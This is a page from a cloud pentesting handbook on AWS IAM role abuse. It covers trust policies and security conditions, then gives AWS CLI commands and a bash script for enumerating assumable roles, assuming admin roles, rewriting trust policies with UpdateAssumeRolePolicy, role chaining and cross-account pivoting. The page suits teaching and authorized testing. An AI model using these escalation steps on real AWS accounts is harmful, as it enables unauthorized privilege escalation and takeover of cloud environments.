Infiltr8: Red-Book
Cloud & CI/CD PentestingAWS PentestingMovementAWS IAM

Roles & AssumeRole

AWS IAM Roles & AssumeRole

Theory

IAM Roles are AWS identities with specific permissions that can be assumed by entities such as users, services, or other roles. Unlike users, roles don't have permanent credentials—instead, they provide temporary security credentials when assumed.

Every role has two essential components: a trust policy that defines who can assume the role, and permissions policies that define what the role can do once assumed. When you assume a role, you receive temporary credentials consisting of an access key, secret key, and session token that expire after a duration between 1 and 12 hours. This creates a role session during which the temporary credentials remain valid.

AssumeRole Mechanism

┌─────────────┐           ┌─────────────┐           ┌─────────────┐
│   Caller    │──Request──│  STS Service│──Validate─│ Target Role │
│ (Principal) │           │             │  Trust    │             │
└─────────────┘           └─────────────┘           └─────────────┘
       │                         │                          │
       │   Temporary Credentials │                          │
       │←────────────────────────┤                          │
       │                                                    │
       │   Access AWS Resources with Role Permissions       │
       └────────────────────────────────────────────────────┘

The AssumeRole workflow begins when a caller sends a request to assume a role via the sts:AssumeRole API call. AWS Security Token Service (STS) receives this request and validates the caller's identity against the target role's trust policy. If the trust policy allows the caller to assume the role, STS issues temporary credentials valid for 15 minutes to 12 hours. The caller then uses these credentials to access AWS resources with the role's permissions. When the credentials expire, the process can be repeated if continued access is needed.

Trust Policy Structure

Trust policies are resource-based policies attached to roles that determine who can assume them. These policies include a Principal element specifying the trusted entities, an Action element typically set to sts:AssumeRole, and optional Condition elements to add requirements like external IDs or source IP restrictions.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:user/alice"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "sts:ExternalId": "unique-id-12345"
        },
        "IpAddress": {
          "aws:SourceIp": "203.0.113.0/24"
        }
      }
    }
  ]
}

Trust policies can specify different types of principals. AWS account principals like "AWS": "arn:aws:iam::123456789012:root" trust all identities in an account, while IAM user principals like "AWS": "arn:aws:iam::123456789012:user/alice" trust specific users. You can also trust IAM roles, AWS services like "Service": "ec2.amazonaws.com", or federated users via SAML providers.

Security Mechanisms

Several security mechanisms can protect role assumption. External IDs mitigate the "confused deputy" problem by requiring a secret value known only to trusted parties, commonly used for third-party cross-account access. The external ID acts as an additional authentication factor beyond the principal's identity.

MFA requirements force multi-factor authentication before role assumption by using the condition "aws:MultiFactorAuthPresent": "true" in the trust policy. This ensures that even if credentials are compromised, attackers cannot assume the role without the MFA device.

Source IP restrictions limit role assumption to specific networks using conditions like "aws:SourceIp": ["203.0.113.0/24"]. This prevents role assumption from untrusted locations even with valid credentials.

Session duration controls how long temporary credentials remain valid. The default session duration is 1 hour, with a maximum of 12 hours configurable via the role's MaxSessionDuration property. The actual duration is specified during the AssumeRole call using the --duration-seconds parameter.

Practice

Reconaissance

Before you can exploit roles, you need to discover which roles exist in the environment and which ones you can assume. Roles are defined by their trust policies, which specify exactly who can assume them. Enumerating roles and analyzing their trust policies reveals potential privilege escalation paths through role assumption.

Enumerate roles in account can be perfomed using awscli and following commands.

# List all roles
aws iam list-roles

# Extract role names and ARNs
aws iam list-roles --query 'Roles[].[RoleName,Arn]' --output table

# Get specific role details
aws iam get-role --role-name TargetRole

# Get role attached policies
aws iam list-attached-role-policies --role-name OrganizationAccountAccessRole

# Get role inline policies
aws iam list-role-policies --role-name OrganizationAccountAccessRole

After identifying roles, you need to examine their trust policies to determine which ones you can actually assume. This script automates the process of checking each role's trust policy for references to your current identity or account.

#!/bin/bash
# enum_assumable_roles.sh

CURRENT_ARN=$(aws sts get-caller-identity --query 'Arn' --output text)
ACCOUNT=$(aws sts get-caller-identity --query 'Account' --output text)

echo "[*] Current identity: $CURRENT_ARN"
echo "[*] Searching for assumable roles...\n"

aws iam list-roles --query 'Roles[].RoleName' --output text | tr '\t' '\n' | \
while read role; do
    trust_policy=$(aws iam get-role --role-name "$role" --query 'Role.AssumeRolePolicyDocument' 2>/dev/null)

    # Check if current identity or account can assume
    if echo "$trust_policy" | grep -qE "($CURRENT_ARN|$ACCOUNT:root|\*)"; then
        echo "[+] Can potentially assume: $role"
        echo "    Trust Policy:"
        echo "$trust_policy" | jq '.Statement[].Principal'
        echo ""
    fi
done

Testing AssumeRole Permission

Once you've identified potentially assumable roles through trust policy analysis, you need to verify that you can actually assume them. The trust policy might allow you, but you also need the sts:AssumeRole permission in your own identity policies. Testing assumption attempts will confirm whether both conditions are met.

The simplest way to test role assumption is directly calling the AssumeRole API. A successful call returns temporary credentials, while a failure indicates either the trust policy denies you or you lack the necessary permissions.

# Test assuming a role
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/TargetRole \
    --role-session-name test-session

# Success output:
{
    "Credentials": {
        "AccessKeyId": "ASIAQEXAMPLE",
        "SecretAccessKey": "wJalrX...",
        "SessionToken": "FwoGZX...",
        "Expiration": "2024-12-31T23:59:59Z"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAI...:test-session",
        "Arn": "arn:aws:sts::123456789012:assumed-role/TargetRole/test-session"
    }
}

# Denied:
An error occurred (AccessDenied): User is not authorized to perform: sts:AssumeRole

Direct Role Assumption

The most straightforward exploitation is assuming a role that has higher privileges than your current identity. Once you've identified an assumable role with elevated permissions, you assume it to receive temporary credentials with those permissions, then use those credentials to perform privileged actions.

You identify your current low-privilege identity, discover a high-privilege role you can assume, assume it to get temporary credentials, export those credentials to your environment, and then use them to execute privileged commands.

# Current low-privilege identity
aws sts get-caller-identity

# Discover high-privilege assumable role
aws iam list-roles | jq '.Roles[] | select(.RoleName | contains("Admin"))'

# Assume the role
CREDS=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name pwned-session \
    --query 'Credentials')

# Export credentials
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.SessionToken')

# Verify escalation
aws sts get-caller-identity
# Now: arn:aws:sts::123456789012:assumed-role/AdminRole/pwned-session

# Execute admin actions
aws iam list-users
aws s3 ls

Some roles require MFA for assumption, adding an extra security layer. If you have access to the MFA device (physical token or virtual authenticator app), you can provide the MFA code during assumption.

# If MFA required
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name mfa-session \
    --serial-number arn:aws:iam::123456789012:mfa/alice \
    --token-code 123456

External IDs are used for third-party access scenarios to prevent the confused deputy problem. If you've discovered or guessed the external ID (perhaps through documentation, configuration files, or social engineering), you can provide it during role assumption to satisfy the trust policy requirement.

# Third-party role with external ID
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/ThirdPartyRole \
    --role-session-name third-party \
    --external-id "unique-external-id-12345"

UpdateAssumeRolePolicy

The iam:UpdateAssumeRolePolicy permission allows you to modify the trust policy of any role. This provides a direct privilege escalation path since you can add your own identity to the trust policy of high-privilege roles, then assume those roles to gain elevated permissions.

The basic exploitation approach is straightforward:

  • create a new trust policy that trusts your current identity,
  • replace the role's existing trust policy with your malicious one,
  • then assume the role.

This works on any role you have UpdateAssumeRolePolicy permissions for, regardless of who the role currently trusts.

# Get current ARN
CURRENT_ARN=$(aws sts get-caller-identity --query 'Arn' --output text)

# Target high-privilege role
TARGET_ROLE="AdminRole"

# Create trust policy allowing yourself
cat > new_trust.json <<EOF
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "$CURRENT_ARN"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
EOF

# Update role's trust policy
aws iam update-assume-role-policy \
    --role-name $TARGET_ROLE \
    --policy-document file://new_trust.json

# Assume the role
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/$TARGET_ROLE \
    --role-session-name escalated

Cross-Account Role Assumption

Cross-account roles enable access between different AWS accounts, commonly used for multi-account organizations or third-party integrations. If you've compromised credentials in one account, you can pivot to other accounts by assuming cross-account roles that trust your account.

First, identify which roles in the current account trust external accounts. These roles represent potential pivoting opportunities to other AWS accounts. The trust policies will reveal the account IDs you can potentially access.

# Find roles trusting other accounts
aws iam list-roles | jq -r '.Roles[] |
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS |
    test("arn:aws:iam::[0-9]{12}")) |
    "\(.RoleName) trusts \(.AssumeRolePolicyDocument.Statement[].Principal.AWS)"'

Role Chaining

Role chaining involves assuming multiple roles in sequence to reach a target role with elevated privileges. This technique exploits trust relationships between roles where you might not be able to directly assume the final target role, but you can assume an intermediate role that has permission to assume the target.

Each assumption provides new temporary credentials that are used for the next step in the chain.

Manual chaining involves sequentially assuming each role in the path, exporting the credentials from each assumption before moving to the next. This creates a chain of role sessions, with each link providing access to assume the next role until you reach your target privileged role.

# Step 1: Assume RoleA
ROLE_A=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/RoleA \
    --role-session-name step1 \
    --query 'Credentials')

export AWS_ACCESS_KEY_ID=$(echo $ROLE_A | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $ROLE_A | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $ROLE_A | jq -r '.SessionToken')

# Step 2: From RoleA, assume RoleB
ROLE_B=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/RoleB \
    --role-session-name step2 \
    --query 'Credentials')

export AWS_ACCESS_KEY_ID=$(echo $ROLE_B | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $ROLE_B | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $ROLE_B | jq -r '.SessionToken')

# Step 3: From RoleB, assume AdminRole
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name admin

Confused Deputy Attack

The Confused Deputy problem occurs when trust policies are overly permissive, trusting entire AWS accounts rather than specific principals. When a trust policy specifies an AWS account root (arn:aws:iam::123456789012:root) as the principal, any identity in that account with the sts:AssumeRole permission can assume the role.

This trust policy trusts the entire account, not just specific identities within it:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

The problem is that any principal in account 123456789012 with the sts:AssumeRole permission can assume this role, not just the intended trusted principals.

Resources

AssumeRole - AWS Security Token Servicedocs.aws.amazon.com IAM roles - AWS Identity and Access Managementdocs.aws.amazon.com The confused deputy problem - AWS Identity and Access Managementdocs.aws.amazon.com AWS IAM Privilege Escalation \u2013 Methods and Mitigationrhinosecuritylabs.com AWS IAM Assume Role Vulnerabilities Found in Many Top Vendorswww.praetorian.com

On this page